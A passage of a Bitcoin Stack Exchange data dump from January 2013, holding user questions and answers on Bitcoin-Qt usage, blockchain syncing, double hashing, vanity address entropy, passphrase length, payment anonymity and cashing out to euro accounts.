  <row Id="6015" PostTypeId="1" AcceptedAnswerId="6114" CreationDate="2013-01-06T06:50:37.643" Score="12" ViewCount="5469" Body="&lt;p&gt;It is a nice project and all, but I think in 2013 it shouldn't be a challenge to save all of an application's files into its own folder (maybe even by default), so you can use it without installing/uninstalling.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just don't have that much space on drive C. I use drive D for stuff. Is there a solution?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Google just brought me to &lt;a href=&quot;https://bitcointalk.org/index.php?topic=105014.0&quot; rel=&quot;nofollow&quot;&gt;this discussion&lt;/a&gt; which lead to all the fancy alternatives to the original client. I just want to try original Bitcoin-Qt first.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would no one be interested in a portable Bitcoin-Qt? It would be very useful in my opinion.&lt;/p&gt;&#xA;" OwnerUserId="2567" LastEditorUserId="1405" LastEditDate="2014-08-31T23:23:42.830" LastActivityDate="2014-08-31T23:24:17.733" Title="How to make Bitcoin-Qt client portable? (Windows)" Tags="|bitcoin-core|portable|" AnswerCount="2" CommentCount="1" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6016" PostTypeId="2" ParentId="6010" CreationDate="2013-01-06T06:57:09.353" Score="1" Body="&lt;p&gt;If you are using the Bitcoin-Qt client, then the address you might remember seeing is just the first address.  You can see that address, and any others that you've added by clicking &quot;Receive&quot;. [Edit: writing this from memory, without a Bitcoin-Qt client to know if I have the right name for the tab.]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are using a different client, the steps will vary.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2013-01-06T06:57:09.353" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6017" PostTypeId="1" CreationDate="2013-01-06T07:35:00.600" Score="2" ViewCount="302" Body="&lt;p&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/a/6013/196&quot;&gt;Colin Dean's answer to zcopley's question&lt;/a&gt; inspired me to ask this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;While Bitcoin supporters would hope that one would not hold on to Bitcoin as an investment, but rather spend it in order to further the economy...&lt;/em&gt;&#xA;Can you tell me the rational behind this, according to Austrian economics? I'm a beginner enthusiast of Austrian economics but as far as I know there is no argument against hoarding real (value based) money. When the user will see he/she can get something more valuable in his value scale he/she will exchange the money for that product or service. It's that easy.&lt;/p&gt;&#xA;" OwnerUserId="2567" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.660" LastActivityDate="2013-01-06T22:30:25.510" Title="Why it's not good to the community to hoard bitcoins?" Tags="|bitcoin-economy|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6019" PostTypeId="1" CreationDate="2013-01-06T08:36:34.780" Score="4" ViewCount="174" Body="&lt;p&gt;The wallet is stuck on 95.48% as it has been for the last few days. Before this the blockchain downloaded fairly rapidly, I have updated the version of the wallet and restarted but this has not fixed the problem.&lt;/p&gt;&#xA;" OwnerUserId="2568" LastActivityDate="2013-01-06T08:36:34.780" Title="Mac bitcoin wallet stopped downloading the block chain" Tags="|wallet|mac|" AnswerCount="0" CommentCount="2" ClosedDate="2018-11-23T10:21:43.797" ContentLicense="CC BY-SA 3.0" />
  <row Id="6020" PostTypeId="2" ParentId="6010" CreationDate="2013-01-06T12:13:18.410" Score="0" Body="&lt;p&gt;If you are talking about &lt;code&gt;bitcoind&lt;/code&gt;, the command line client, it was likely just a suggested password for bitcoin.conf, so it doesn't really matter.&lt;/p&gt;&#xA;" OwnerUserId="196" LastActivityDate="2013-01-06T12:13:18.410" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6021" PostTypeId="2" ParentId="5672" CreationDate="2013-01-06T12:46:56.247" Score="1" Body="&lt;p&gt;In the &lt;a href=&quot;https://en.bitcoin.it/wiki/Protocol_specification#Message_structure&quot; rel=&quot;nofollow&quot;&gt;Bitcoin protocol&lt;/a&gt; each message is prefixed with a message header that, among other things, contains the message length (more precisely the payload length). The length field is an unsigned integer 4 byte (or 32 bit) in length. Therefore it is perfectly ok to specify payloads of length 2^32 bytes = 4 GB.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since you wouldn't want to download 4 GB just to find out that it was an error in the other sides implementation or the peer was trying to feed you junk on purpose the mainline client added an arbitrary limit to the size of messages it accepts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/master/src/net.h#L29&quot; rel=&quot;nofollow&quot;&gt;net.h&lt;/a&gt; this limit is 5'000'000 byte or a bit less than 5 megabyte. The message that caused the error and subsequent disconnect is just a little bit over that limit. Maybe you could look up which peer, or even better which client version, caused the error so we can inform the developers about it.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2013-01-06T12:46:56.247" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6022" PostTypeId="1" CreationDate="2013-01-06T14:47:08.927" Score="1" ViewCount="237" Body="&lt;p&gt;You can cash out bitcoins the cheapest way in Euros, right?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm from the EU but my country is not in the eurozone, so that's why I need a convenient nonresident euro account.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm looking for the zero percent interest/no cost option for various reasons:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I rather don't need the interest to avoid the fees. It's not my savings.&lt;/li&gt;&#xA;&lt;li&gt;The &lt;a href=&quot;http://en.wikipedia.org/wiki/European_Union_withholding_tax&quot; rel=&quot;nofollow&quot;&gt;EU Savings Directive&lt;/a&gt; makes it a hassle to hold even a small checking account outside your country because you have to report any interest earned on it except for accounts held in &lt;a href=&quot;http://en.wikipedia.org/wiki/European_Union_withholding_tax#Countries_providing_for_tax_withholding_under_the_Transitory_Provisions&quot; rel=&quot;nofollow&quot;&gt;certain countries&lt;/a&gt;. Maybe is there a negligible minimum you don't have to report? Let's say you earn a horrible 0.1 percent on your euro checking account and you have money come in and go out of the account every month so you don't even hold a balance there but you are required to calculate the taxes for that huge amount? It's ridiculous. It's just control freakery from your government that they have to know where you have a simple bank account, great. So the zero percent interest have privacy benefits, too.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I'd rather go with the exchanger Bitcoin Central, which &lt;a href=&quot;https://bitcoin-central.net/s/aqoba-partnership?locale=en&quot; rel=&quot;nofollow&quot;&gt;just got a payment processor license in France&lt;/a&gt; (similar to Paypal) so I can be sure it is legit and the bank can be sure I'm not a money launderer. By the way it's an interesting question how banks consider money coming in from bitcoin exchangers? Is it suspicious for them or not? Maybe it depends on which country the exchanger banks. Another question is do the banks treat resident and nonresident account holders differently if they receive funds from bitcoin echangers? I just need to cash out the monthly living expenses. Nothing more, nothing less.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts or recommendations? Hey! It's not illegal to hold on some bitcoins, right?&lt;/p&gt;&#xA;" OwnerUserId="2567" LastEditorUserId="196" LastEditDate="2013-01-06T15:20:47.210" LastActivityDate="2013-01-06T15:20:47.210" Title="Zero Percent Interest Nonresident Free (Online?) Euro Checking Account with Good Service for Cashing out Bitcoins?" Tags="|legal|banks|europe|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6023" PostTypeId="2" ParentId="5536" CreationDate="2013-01-06T16:12:45.023" Score="1" Body="&lt;p&gt;IANAL, but I guess, you will need a mixing service that verifies your identity and documents this fact (or whatever AML laws require). I am not aware of such a service.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, it would make sense: You'll get untainted coins and no one except the mixing service, you and potentially the tax authorities could connect your identity to the (old and new) coins.&lt;/p&gt;&#xA;" OwnerUserId="350" LastEditorUserId="350" LastEditDate="2013-01-06T20:30:32.020" LastActivityDate="2013-01-06T20:30:32.020" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6024" PostTypeId="1" CreationDate="2013-01-06T16:29:48.593" Score="5" ViewCount="455" Body="&lt;p&gt;Since a vanity address discards many &quot;valid&quot; keys in order to find one that matches a pre-determined string, I think that the &quot;randomness&quot; of the data would be reduced, thus weakening the key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any cryptographic proof that indicates how this is / is not a factor in reducing the security of a given address &amp;amp; private key combination? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;... or at the very least calculate the degree of &quot;lost randomness&quot;?&lt;/p&gt;&#xA;" OwnerUserId="1878" LastActivityDate="2013-01-07T09:16:27.290" Title="Does a Vanity Address reduce the randomness / entropy of the private key? Is there cryptographic proof?" Tags="|security|encryption|cryptography|base58check|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6025" PostTypeId="1" CreationDate="2013-01-06T16:48:13.347" Score="3" ViewCount="1849" Body="&lt;p&gt;I'm looking for research papers that cover the impact Bitcoin may have on Central Banking, interest rates, velocity of money, and their reserve.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What research papers or information from thought leaders exists w.r.t Bitcoin's impact on economic matters?&lt;/p&gt;&#xA;" OwnerUserId="1878" LastActivityDate="2013-03-23T17:01:21.540" Title="What research papers cover Bitcoin's impact on Central Banks, &quot;velocity of money&quot;, and reserves?" Tags="|economic-theory|bitcoin-economy|finance|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6026" PostTypeId="2" ParentId="6025" CreationDate="2013-01-06T16:53:17.547" Score="1" Body="&lt;p&gt;I don't have a list or a wiki listing all the relevant documents, but &lt;a href=&quot;http://www.ecb.int/pub/pdf/other/virtualcurrencyschemes201210en.pdf&quot; rel=&quot;nofollow&quot;&gt;the European Central Bank produced this document&lt;/a&gt; which covers several types of money schemes including Bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Perhaps some lessons learned, and advice from this document can encourage adoption of Bitcoin.&lt;/p&gt;&#xA;" OwnerUserId="1878" LastActivityDate="2013-01-06T16:53:17.547" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6027" PostTypeId="1" AcceptedAnswerId="6028" CreationDate="2013-01-06T17:41:31.773" Score="4" ViewCount="363" Body="&lt;p&gt;I sent 0.002 BTC to 15bPd9YSB3kpuAFFz2tBZh39A3XdnN5UoX (I paid the transaction fee), but Bitcoin-Qt crashed when I pressed send. When I reopened it the transaction showed up, but it isn't in Blockexplorer.com or Blockchain.info or the reciving client. I tried rescanning both the sending and recieving clients.&lt;/p&gt;&#xA;" OwnerUserId="2526" LastActivityDate="2013-01-06T17:56:59.900" Title="Transaction shows up as sent, but was never recieved" Tags="|transactions|bitcoin-core|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6028" PostTypeId="2" ParentId="6027" CreationDate="2013-01-06T17:56:59.900" Score="2" Body="&lt;p&gt;I just had to run getrawtransaction on the transaction ID (from the transaction list) then run sendrawtransaction on the result.&lt;/p&gt;&#xA;" OwnerUserId="2526" LastActivityDate="2013-01-06T17:56:59.900" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6029" PostTypeId="1" CreationDate="2013-01-06T19:15:07.550" Score="12" ViewCount="4078" Body="&lt;p&gt;I am looking for informations about the authors of the current symbol used for Bitcoin. I am also interested about any brand design explainations such as graphic guidelines, and the way this symbol was adopted (contest, vote, imposition…). As a supporter of the symbol &lt;a href=&quot;http://www.ecogex.com/bitcoin/&quot; rel=&quot;nofollow&quot;&gt;Ƀ&lt;/a&gt;, I am not sure this choice was right.&lt;/p&gt;&#xA;" OwnerUserId="2572" LastEditorUserId="5406" LastEditDate="2014-03-25T22:01:00.857" LastActivityDate="2014-03-25T22:01:00.857" Title="Current Bitcoin symbol: Who designed it, when and why?" Tags="|history|bitcoin-symbol|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6031" PostTypeId="1" CreationDate="2013-01-06T20:42:50.273" Score="7" ViewCount="543" Body="&lt;p&gt;If Bitcoins are used as a store of value or investment vehicle, what legal documents should the investor require/keep? To date, no jurisdiction has special laws concerning cryptocurrencies, but investors may want to implemented best-practices to avoid later hassle.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Personally, I'd expect a receipt for any fiat-BTC transaction indicating&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;full name and address of the other party or exchange,&lt;/li&gt;&#xA;&lt;li&gt;amount in BTC and fiat currency, and&lt;/li&gt;&#xA;&lt;li&gt;any fees and taxes incurred.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Is this reasonable? Do larger exchanges, Mt.Gox or Bitcoin-central, issue a printable document with this information?&lt;/p&gt;&#xA;" OwnerUserId="350" LastEditorUserId="350" LastEditDate="2013-01-07T00:38:38.780" LastActivityDate="2016-03-13T02:52:26.380" Title="How does one document Bitcoin investments for tax and other legal issues?" Tags="|legal|investing|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6032" PostTypeId="1" CreationDate="2013-01-06T11:23:48.970" Score="11" ViewCount="829" Body="&lt;p&gt;I am considering the VPN service &lt;a href=&quot;https://www.privateinternetaccess.com/&quot;&gt;Privateinternetaccess&lt;/a&gt;. One of it's payment methods is bitcoins. As described on &lt;a href=&quot;https://www.privateinternetaccess.com/blog/2012/04/how-to-buy-bitcoins-anonymously-in-the-us-instantly/&quot;&gt;this page&lt;/a&gt; paying with bitcoins strengthens anonymity. In contradiction, &lt;a href=&quot;https://en.bitcoin.it/wiki/Anonymity&quot;&gt;this page&lt;/a&gt; claims bitcoin is not normally anonymous. To what degree is bitcoin anonymous? How does this anonymity differ compared to paying by other means such as credit card, Paypal or through Amazon?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since the steps described in the second link are only for the U.S. I would have to find an alternative way to exchange my dollar to bitcoins. I'm wondering is it worth the effort? Is the worse privacy compromise if I didn't use bitcoin that it could be known I am a user of Privateinternetaccess? Any advice is greatly appreciated. &lt;/p&gt;&#xA;" OwnerUserId="2552" OwnerDisplayName="Celeritas" LastActivityDate="2013-01-07T05:54:23.983" Title="Anonymity through paying by bitcoin" Tags="|legal|privacy|bitcoin-credit-card|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6033" PostTypeId="2" ParentId="6032" CreationDate="2013-01-06T12:59:32.790" Score="6" Body="&lt;p&gt;&lt;strong&gt;Anonymity:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Every transaction ever made in Bitcoin is public. You can see the most recent here:&#xA;&lt;a href=&quot;https://blockexplorer.com/&quot;&gt;https://blockexplorer.com/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What makes it anonymous, is that you may not know who owns which account number (Bitcoin address). If Privateinternetaccess picks a new receiving address for every transaction, it's very difficult for an outside person to see who is receiving your bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, there are 'mixer' services which will send on the correct amount to an address, but maybe not use the same coins, so there's no visible link. blockchain.info has such a 'mixer' service.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Buying Bitcoin outside of US:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This question pops up a lot, so I'm making a site right now to show how to buy bitcoins from each country:&#xA;&lt;a href=&quot;http://howtobuybitcoins.info/&quot;&gt;http://howtobuybitcoins.info/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Feel free to throw me any questions you have.&lt;/p&gt;&#xA;" OwnerUserId="2649" OwnerDisplayName="Jonathan Waller" LastActivityDate="2013-01-06T12:59:32.790" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6034" PostTypeId="2" ParentId="6017" CreationDate="2013-01-06T22:30:25.510" Score="2" Body="&lt;p&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Commodity_money&quot; rel=&quot;nofollow noreferrer&quot;&gt;Commodity money&lt;/a&gt; results in artificial scarcity.&#xA;Take the case of &lt;strong&gt;Jack and Jane&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Jack is a great gardener who could use more customers&#xA;Jane is a great web designer who has a forest of untamed weeds growing on her front lawn.&#xA;Neither Jack nor Jane have much (if any) commodity money, say, gold. And thus, neither of them engage in trade with each other though it would be beneficial to both.&#xA;Gold is scarce, and its especially scarce because the people who have it, not Jack and Jane, are trying to hold on to it, and in fact amass more.&#xA;The scarcity of gold, through people's perceived need thereof to engage in economic activity, results in an artificial scarcity of goods and services and declining economic activity. People who should trade with each other do not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I actually do not think this is a problem with bitcoin because bitcoin &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/66/will-deflation-destroy-bitcoin?rq=1&quot;&gt;can be divided as needed&lt;/a&gt; so even if Jack and Jane only have a &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/5775/how-are-fractions-of-bitcoin-implemented-and-spent&quot;&gt;Satoshi&lt;/a&gt; the current minimum unit, between them, the protocol can be modified and a whole economy can run on one Satoshi.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most people people see this as a problem because they extend the analogy of commodity money too far. This is if fact one of the ways that bitcoin is disimilar and superior.&lt;/p&gt;&#xA;" OwnerUserId="1766" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.610" LastActivityDate="2013-01-06T22:30:25.510" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6035" PostTypeId="2" ParentId="5783" CreationDate="2013-01-06T23:47:26.050" Score="8" Body="&lt;p&gt;Solved. You can prepare transactions with a wait time and the standard client will accept them. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can check some details in:&#xA;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=131443.0&quot;&gt;https://bitcointalk.org/index.php?topic=131443.0&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Essentially, I have been able to create a raw transaction &lt;a href=&quot;https://en.bitcoin.it/wiki/Raw_Transactions&quot;&gt;https://en.bitcoin.it/wiki/Raw_Transactions&lt;/a&gt; using bitcoind. Then, before signing, I could manually replace the bytes for the sequence number and the locktime. I had some hard time with locktime. First you set the UNIX timestamp you want, then convert to hex, reverse the bytes (little endian) and replace the the last bytes of the hex transaction. &lt;a href=&quot;https://en.bitcoin.it/wiki/Protocol_specification#tx&quot;&gt;https://en.bitcoin.it/wiki/Protocol_specification#tx&lt;/a&gt; tells you which are the relevant bytes. You can later sign the new transaction and send it.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been using the guide in:&#xA;&lt;a href=&quot;https://people.xiph.org/~greg/signdemo.txt&quot;&gt;https://people.xiph.org/~greg/signdemo.txt&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did all in the testnet. In my first attempts I wasn't careful with my change and ended up spending all my wallet in fees. You should be careful if you try this with real bitcoins.&lt;/p&gt;&#xA;" OwnerUserId="2281" LastActivityDate="2013-01-06T23:47:26.050" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6036" PostTypeId="1" CreationDate="2013-01-07T01:52:42.617" Score="2" ViewCount="106" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Possible Duplicate:&lt;/strong&gt;&lt;br&gt;&#xA;  &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/799/can-i-download-the-whole-block-chain-from-somewhere&quot;&gt;Can I download the whole block chain from somewhere?&lt;/a&gt;  &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;My Bitcoin client has been &quot;synchronizing&quot; for a really ridiculously long time making the computer leggy. According to &lt;a href=&quot;https://en.bitcoin.it/wiki/FAQ#How_long_does_.22synchronizing.22_take_when_the_Bitcoin_client_is_first_installed.3F_What.27s_it_doing.3F&quot; rel=&quot;nofollow noreferrer&quot;&gt;this article&lt;/a&gt; I can download a pre-synchronized block chain from &lt;a href=&quot;http://eu2.bitcoincharts.com/blockchain/&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;. What do I do after I download bootstrap.dat?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Seriously it says &quot;Version 0.7.1 (when released) will automatically validate and import a file in the data directory&quot; but where the hell's the data directory?&lt;/p&gt;&#xA;" OwnerUserId="2552" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.583" LastActivityDate="2013-01-08T05:59:10.863" Title="Install a pre-synchronized blockchain" Tags="|blockchain|installation|synchronization|" AnswerCount="0" CommentCount="0" ClosedDate="2013-01-10T17:17:52.617" ContentLicense="CC BY-SA 3.0" />
  <row Id="6037" PostTypeId="1" AcceptedAnswerId="6042" CreationDate="2013-01-07T03:54:49.427" Score="40" ViewCount="9473" Body="&lt;p&gt;According to &lt;a href=&quot;https://en.bitcoin.it/wiki/Protocol_specification#Hashes&quot; rel=&quot;noreferrer&quot;&gt;the wiki specification of the bitcoin protocol&lt;/a&gt;, hashes are typically &quot;computed twice&quot;. &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/5671/how-do-you-perform-double-sha-256-encoding&quot;&gt;For example&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;hello&#xA;2cf24dba5fb0a30e26e83b2ac5b9e29e1b161e5c1fa7425e73043362938b9824 (first round of sha-256)&#xA;9595c9df90075148eb06860365df33584b75bff782a510c6cd4883a419833d50 (second round of sha-256)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What is the reasoning for this? I imagine it somehow provides additional security, or protection against potential attack vectors, but I can't reason what those attacks might be.&lt;/p&gt;&#xA;" OwnerUserId="2547" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:34.187" LastActivityDate="2022-02-22T10:34:30.290" Title="Why are hashes in the bitcoin protocol typically computed twice (double computed)?" Tags="|hash|sha256|" AnswerCount="5" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6038" PostTypeId="2" ParentId="6029" CreationDate="2013-01-07T04:22:12.057" Score="6" Body="&lt;p&gt;The very first icon (created by Satoshi) is visible here:&lt;br&gt;&#xA;&lt;a href=&quot;https://bitcointalk.org/oldSiteFiles/images/screen3.png&quot; rel=&quot;noreferrer&quot;&gt;https://bitcointalk.org/oldSiteFiles/images/screen3.png&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Satoshi later updated this using the B with two vertical strokes&lt;br&gt;&#xA;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=64.0&quot; rel=&quot;noreferrer&quot;&gt;https://bitcointalk.org/index.php?topic=64.0&lt;/a&gt;&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/jVz22.png&quot; rel=&quot;noreferrer&quot;&gt;https://i.stack.imgur.com/jVz22.png&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;He never posted much about &lt;em&gt;why&lt;/em&gt; he chose this symbol. It was not in use before Satoshi put it in the logo.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The current Bitcoin-Qt logo was created by bitboy:&lt;br&gt;&#xA;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=1631.0&quot; rel=&quot;noreferrer&quot;&gt;https://bitcointalk.org/index.php?topic=1631.0&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This logo replaced Satoshi's old one when the bitcoin.org GUI was rewritten from wxwidgets to Qt by Wladimir van der Laan. I don't think there was much discussion about it.&lt;/p&gt;&#xA;" OwnerUserId="403" LastEditorUserId="403" LastEditDate="2013-01-07T04:29:26.197" LastActivityDate="2013-01-07T04:29:26.197" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6039" PostTypeId="2" ParentId="6032" CreationDate="2013-01-07T05:54:23.983" Score="0" Body="&lt;p&gt;I don't know much about the Bitcoin part but depending where you live you can buy a no name Visa/MasterCard gift card in a shop for cash and you are set?&lt;/p&gt;&#xA;" OwnerUserId="2567" LastActivityDate="2013-01-07T05:54:23.983" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6040" PostTypeId="1" CreationDate="2013-01-07T06:10:06.047" Score="3" ViewCount="1300" Body="&lt;p&gt;I made a cool 5 word passphrase back then using the old &lt;a href=&quot;http://world.std.com/~reinhold/diceware.html&quot; rel=&quot;nofollow&quot;&gt;Diceware method&lt;/a&gt; and use it as a master password. The question is: as computing power increases, will we need to add more and more words to our passphrases which we will eventually forget? I'm in my mid 30s, will passphrases be enough in my lifetime? :) So back then, Diceware suggested just 5 words, not the original Bitcoin QT client recommends 8 words. Will the original 5 words from the Diceware age serve me in the Bitcoin age?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't really want to mess around with a Yubikey. Heck, I Googled it and didn't really managed to find out what it is, what it does. Maybe I'm not the target market. I'm just a simple user. Carrying around a Yubikey would also be a red flag in my eyes. He has secrets!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How effective is doubling a passphrase? Like I have now [passphrase] and simply doule it: [passphrase][passphrase]. So I don't really have more stuff to remember, just more stuff to type. That might serve me for a time.&lt;/p&gt;&#xA;" OwnerUserId="2567" LastEditorUserId="4748" LastEditDate="2014-03-16T13:05:13.467" LastActivityDate="2014-03-16T13:05:13.467" Title="Ideal passphrase length: old diceware method (5 words) vs. your Bitcoin wallet.dat passphrase length (8 words) and doubling passwords?" Tags="|security|passphrase|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6041" PostTypeId="2" ParentId="3493" CreationDate="2013-01-07T06:22:42.673" Score="1" Body="&lt;p&gt;&lt;a href=&quot;https://bitcoin-central.net/&quot; rel=&quot;nofollow&quot;&gt;Bitcoin Central&lt;/a&gt; from France which just got a &lt;a href=&quot;https://bitcoin-central.net/s/aqoba-partnership?locale=en&quot; rel=&quot;nofollow&quot;&gt;payment services processor license&lt;/a&gt; and as you mentioned: Bitstamp from Slovenia? I would go with the regulated French exchanger.&lt;/p&gt;&#xA;" OwnerUserId="2567" LastActivityDate="2013-01-07T06:22:42.673" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6042" PostTypeId="2" ParentId="6037" CreationDate="2013-01-07T06:35:01.657" Score="20" Body="&lt;p&gt;We don't know for sure, but the most popular theory is that a double hash was chosen to protect against &lt;a href=&quot;http://en.wikipedia.org/wiki/Length_extension_attack&quot;&gt;length extension attacks&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2013-01-07T06:35:01.657" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6043" PostTypeId="1" CreationDate="2013-01-07T06:49:49.780" Score="0" ViewCount="287" Body="&lt;p&gt;Instawire, Bitcoin-Central, Instawallet, Paytunia and Paymium are seem to be closely related, they cross reference each other on their sites, though their respective guarantees for their services are &lt;a href=&quot;https://bitcoin-central.net/s/aqoba-partnership?locale=en&quot; rel=&quot;nofollow&quot;&gt;quite&lt;/a&gt; &lt;a href=&quot;https://www.instawallet.org&quot; rel=&quot;nofollow&quot;&gt;different&lt;/a&gt; (that was two links in two words just it's difficult to see it on your platform, perhaps you can fix that) which is interesting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The question is why Instawire charges much more than the prices you can get on Bitcoin-Central? Maybe because the first one is a service and the latter one is an exchange. But perhaps do they have different KYC policies? Though I'm not sure about Instawire' KYC (Know oyur customer) policies they state on their site that you can send up to 100 euros, though, for a high fee. Maybe you pay for your privacy with this service? On the other hand, Bitcoin-Central requires your personal documents for even the smallest transactions, right? Though I'm not sure, didn't find these data explicitly on their sites.&lt;/p&gt;&#xA;" OwnerUserId="2567" LastEditorUserId="37414" LastEditDate="2018-05-10T23:15:59.437" LastActivityDate="2018-05-10T23:15:59.437" Title="Instawire fees over Bitcoin Central fees and their respective KYC policies?" Tags="|privacy|exchange-fees|know-your-customer|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6044" PostTypeId="2" ParentId="6024" CreationDate="2013-01-07T09:16:27.290" Score="1" Body="&lt;p&gt;Vanity Addresses only reduce the apparent randomness of a public key. The underlying private key is still just as random as always, as the private key does not have any special characteristics (it does not have a special pattern in front or anything like that). A given public key is as likely to be generated by a private key from range 0-10, as for 1000000-1000010 and the like.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If knowing some given pattern would make it more likely that one would be able to find the private key, then since every public key is known when coins are spent then vanity address or not, it would be just as easy to steal one's coins.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2013-01-07T09:16:27.290" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6045" PostTypeId="2" ParentId="6040" CreationDate="2013-01-07T10:22:32.013" Score="2" Body="&lt;p&gt;It is all a matter of how many bits of entropy your passphrase has (how hard it would be to guess). Using a couple words provides a lot more randomness than a couple random characters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as I remember, the algorithm used to encrypt the private keys that is used by BitcoinQT has about 100 bits of security (which is a lot). You would want to attain a similar amount of security with your passphrase.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The english language has &lt;a href=&quot;http://oxforddictionaries.com/words/how-many-words-are-there-in-the-english-language&quot; rel=&quot;nofollow&quot;&gt;about 171000 words&lt;/a&gt; in it. But lets face it, &lt;a href=&quot;http://www.antimoon.com/forum/t10694.htm&quot; rel=&quot;nofollow&quot;&gt;most people won't use more than 60000&lt;/a&gt;. Assuming that your phrase would consist of lets say only the 10000 most popular 